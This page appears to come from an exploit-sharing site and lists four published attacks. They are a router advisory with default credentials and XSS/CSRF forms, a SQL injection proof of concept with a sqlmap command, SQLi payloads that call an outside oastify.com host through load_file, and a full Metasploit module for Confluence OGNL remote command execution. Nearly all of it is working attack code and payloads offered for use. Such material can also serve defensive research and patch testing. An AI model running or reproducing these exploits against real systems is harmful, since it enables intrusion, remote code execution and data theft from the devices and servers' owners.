Latest exploits :: CodePwn

<pre><code> JM-DATA ONU JF511-TV Multiple Remote Vulnerabilities Vendor: JM-DATA GmbH Product web page: https://www.jm-data.at Affected version: 1.0.67 1.0.62 1.0.55 Summary: This ONU is the perfect GEPON home and business gateway. It is an all-rounder in perfection. It can BRIDGE/NAT/RIP ROUTEND and COMBINED. Desc: The device suffers from multiple vulnerabilities including: Default Credentials, CSRF, Authenticated Stored XSS and Open Redirect. Tested on: Boa/0.93.15 Vulnerability discovered by Neurogenesia @zeroscience Advisory ID: ZSL-2022-5708 Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2022-5708.php 24.04.2022 -- Default credentials: -------------------- user:user Stored XSS / HTML Injection: ---------------------------- <html> <body> <form action="https://192.168.1.2:8443/boaform/admin/formURL" method="POST"> <input type="hidden" name="url" value="'><script>alert(document.cookie)</script>' /> <input type="hidden" name="action" value="ad" /> <input type="hidden" name="submit-url" value="/secu_urlfilter_cfg_en.asp" /> <input type="submit" value="Go" /> </form> </body> </html> CSRF (delete IP entry filter): ------------------------------ <html> <body> <form action="https://192.168.1.2:8443/boaform/admin/formURL" method="POST"> <input type="hidden" name="bcdata" value="ld3:idxi0eee" /> <input type="hidden" name="action" value="rm" /> <input type="hidden" name="submit-url" value="/secu_urlfilter_cfg_en.asp" /> <input type="submit" value="Go" /> </form> <form action="https://192.168.1.2:8443/boaform/admin/formURL" method="POST"> <input type="hidden" name="urlfilterEnble" value="off" /> <input type="hidden" name="action" value="rm" /> <input type="hidden" name="bcdata" value="ld3:idxi0eed3:idxi1eee" /> <input type="hidden" name="submit-url" value="https://192.168.1.2:8443/secu_urlfilter_cfg_en.asp" /> <input type="submit" value="Go" /> </form> </body> </html> Open Redirect: -------------- https://192.168.1.2:8443/boaform/formWirelessTbl?submit-url=https://zeroscience.mk common.js: ---------- /* * isCharUnsafe - test a character whether is unsafe * @c: character to test */ function isCharUnsafe(c) { var unsafeString = "\"\\`\+\,='\t"; return unsafeString.indexOf(c) != -1 || c.charCodeAt(0) <= 32 || c.charCodeAt(0) >= 123; } /* * isIncludeInvalidChar - test a string whether includes invalid characters * @s: string to test */ function isIncludeInvalidChar(s) { var i; for (i = 0; i < s.length; i++) { if (isCharUnsafe(s.charAt(i)) == true) return true; } return false; } </code></pre>

<pre><code># Exploit Title: Virtua Software Cobranca 12S - SQLi # Shodan Query: http.favicon.hash:876876147 # Date: 13/08/2021 # Exploit Author: Luca Regne # Vendor Homepage: https://www.virtuasoftware.com.br/ # Software Link: https://www.virtuasoftware.com.br/downloads/Cobranca12S_13_08.exe # Version: 12S # Tested on: Windows Server 2019 # CVE : CVE-2021-37589 ------------------------------------------------------------------------ ## Description A Blind SQL injection vulnerability in a Login Page (/controller/login.php) in Virtua Cobranca 12S version allows remote unauthenticated attackers to get information about application executing arbitrary SQL commands by idusuario parameter. ## Request PoC ``` POST /controller/login.php?acao=autenticar HTTP/1.1 Host: redacted.com User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:90.0) Gecko/20100101 Firefox/90.0 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 37 Connection: close Cookie: origem_selecionado=; PHPSESSID= idusuario='&idsenha=awesome_and_unprobaly_password&tipousr=Usuario ``` This request causes an error 500. Changing the idusuario to "'+AND+'1'%3d'1'--" the response to request was 200 status code with message of authentication error. ``` POST /controller/login.php?acao=autenticar HTTP/1.1 Host: redacted.com User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:90.0) Gecko/20100101 Firefox/90.0 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 37 Connection: close Cookie: origem_selecionado=; PHPSESSID= idusuario='+AND+'1'='1'--&idsenha=a&tipousr=Usuario ``` ## Exploit Save the request from burp to file ```bash python3 sqlmap.py -r ~/req-virtua.txt -p idusuario --dbms firebird --level 5 --risk 3 --random-agent ``` </code></pre>

<pre><code>## Title: Warehouse Management System 2022 ML-SQLi ## Author: nu11secur1ty ## Date: 06.13.2022 ## Vendor: https://www.sourcecodester.com/users/tips23 ## Software: https://www.sourcecodester.com/php-codeigniter-warehouse-management-system-free-source-code ## Reference: https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/oretnom23/2022/Warehouse-Management-System ## Description: A Multiple SQLi exist in Warehouse Management System 2022 by oretnom23. The attacker can retrieve all information from this system by using this vulnerability. Status: TURBO CRITICAL [+] Payloads: ```mysql --- Parameter: cari (POST) Type: boolean-based blind Title: OR boolean-based blind - WHERE or HAVING clause (NOT) Payload: cari=(select load_file('\\\\f4klvq2zr2jjq1fqicjzdovoifo8c3hr8twljb70.oastify.com\\qxv')) OR NOT 4744=4744# IltN&kirim= Type: error-based Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) Payload: cari=(select load_file('\\\\f4klvq2zr2jjq1fqicjzdovoifo8c3hr8twljb70.oastify.com\\qxv')) OR (SELECT 9682 FROM(SELECT COUNT(*),CONCAT(0x71627a6a71,(SELECT (ELT(9682=9682,1))),0x717a626a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)# mXqR&kirim= Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: cari=(select load_file('\\\\f4klvq2zr2jjq1fqicjzdovoifo8c3hr8twljb70.oastify.com\\qxv')) AND (SELECT 7785 FROM (SELECT(SLEEP(5)))LDxo)# ZbKb&kirim= Type: UNION query Title: MySQL UNION query (NULL) - 9 columns Payload: cari=-5568 UNION ALL SELECT CONCAT(0x71627a6a71,0x4856564e4357704e696c6b4648505a656a744575445967544a494d5075566b5a4d466c7976516869,0x717a626a71),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#&kirim= --- ``` ## Reproduce: [href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/oretnom23/2022/Warehouse-Management-System) ## Proof and Exploit: [href](https://streamable.com/ef58wt) </code></pre>

<pre><code>## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager def initialize(info = {}) super( update_info( info, 'Name' => 'Atlassian Confluence Namespace OGNL Injection', 'Description' => %q{ This module exploits an OGNL injection in Atlassian Confluence servers. A specially crafted URI can be used to evaluate an OGNL expression resulting in OS command execution. }, 'Author' => [ 'Unknown', # exploited in the wild 'bturner-r7', 'jbaines-r7', 'Spencer McIntyre' ], 'References' => [ ['CVE', '2021-26084'], ['URL', 'https://jira.atlassian.com/browse/CONFSERVER-79000?src=confmacro'], ['URL', 'https://gist.githubusercontent.com/bturner-r7/1d0b62fac85235b94f1c95cc4c03fcf3/raw/478e53b6f68b5150eefd53e0956f23d53618d250/confluence-exploit.py'], ['URL', 'https://github.com/jbaines-r7/through_the_wire'], ['URL', 'https://attackerkb.com/topics/BH1D56ZEhs/cve-2022-26134/rapid7-analysis'] ], 'DisclosureDate' => '2022-06-02', 'License' => MSF_LICENSE, 'Platform' => ['unix', 'linux'], 'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64], 'Privileged' => false, 'Targets' => [ [ 'Unix Command', { 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Type' => :cmd } ], [ 'Linux Dropper', { 'Platform' => 'linux', 'Arch' => [ARCH_X86, ARCH_X64], 'Type' => :dropper } ] ], 'DefaultTarget' => 0, 'DefaultOptions' => { 'RPORT' => 8090 }, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK] } ) ) register_options([ OptString.new('TARGETURI', [true, 'Base path', '/']) ]) end def check version = get_confluence_version return CheckCode::Unknown unless version vprint_status("Detected Confluence version: #{version}") header = "X-#{Rex::Text.rand_text_alphanumeric(10..15)}" res = inject_ognl('', header: header) # empty command works for testing, the header will be set return CheckCode::Unknown unless res unless res && res.headers.include?(header) return CheckCode::Safe('Failed to test OGNL injection.') end CheckCode::Vulnerable('Successfully tested OGNL injection.') end def get_confluence_version return @confluence_version if @confluence_version res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'login.action') ) return nil unless res&.code == 200 poweredby = res.get_xml_document.xpath('//ul[@id="poweredby"]/li[@class="print-only"]/text()').first&.text return nil unless poweredby =~ /Confluence (\d+(\.\d+)*)/ @confluence_version = Rex::Version.new(Regexp.last_match(1)) @confluence_version end def exploit print_status("Executing #{payload_instance.refname} (#{target.name})") case target['Type'] when :cmd execute_command(payload.encoded) when :dropper execute_cmdstager end end def execute_command(cmd, _opts = {}) header = "X-#{Rex::Text.rand_text_alphanumeric(10..15)}" res = inject_ognl(cmd, header: header) unless res && res.headers.include?(header) fail_with(Failure::PayloadFailed, "Failed to execute command: #{cmd}") end vprint_good("Successfully executed command: #{cmd}") res.headers[header] end def inject_ognl(cmd, header:) send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, Rex::Text.uri_encode(ognl_payload(cmd, header: header)), 'dashboard.action'), 'headers' => { header => cmd } ) end def ognl_payload(_cmd, header:) <<~OGNL.gsub(/^\s+/, '').tr("\n", '') ${ Class.forName("com.opensymphony.webwork.ServletActionContext") .getMethod("getResponse",null) .invoke(null,null) .setHeader("#{header}", Class.forName("javax.script.ScriptEngineManager") .newInstance() .getEngineByName("js") .eval("java.lang.Runtime.getRuntime().exec([ #{target['Platform'] == 'win' ? "'cmd.exe','/c'" : "'/bin/sh','-c'"}, com.opensymphony.webwork.ServletActionContext.getRequest().getHeader('#{header}') ]); '#{Faker::Internet.uuid}'") ) } OGNL end end </code></pre>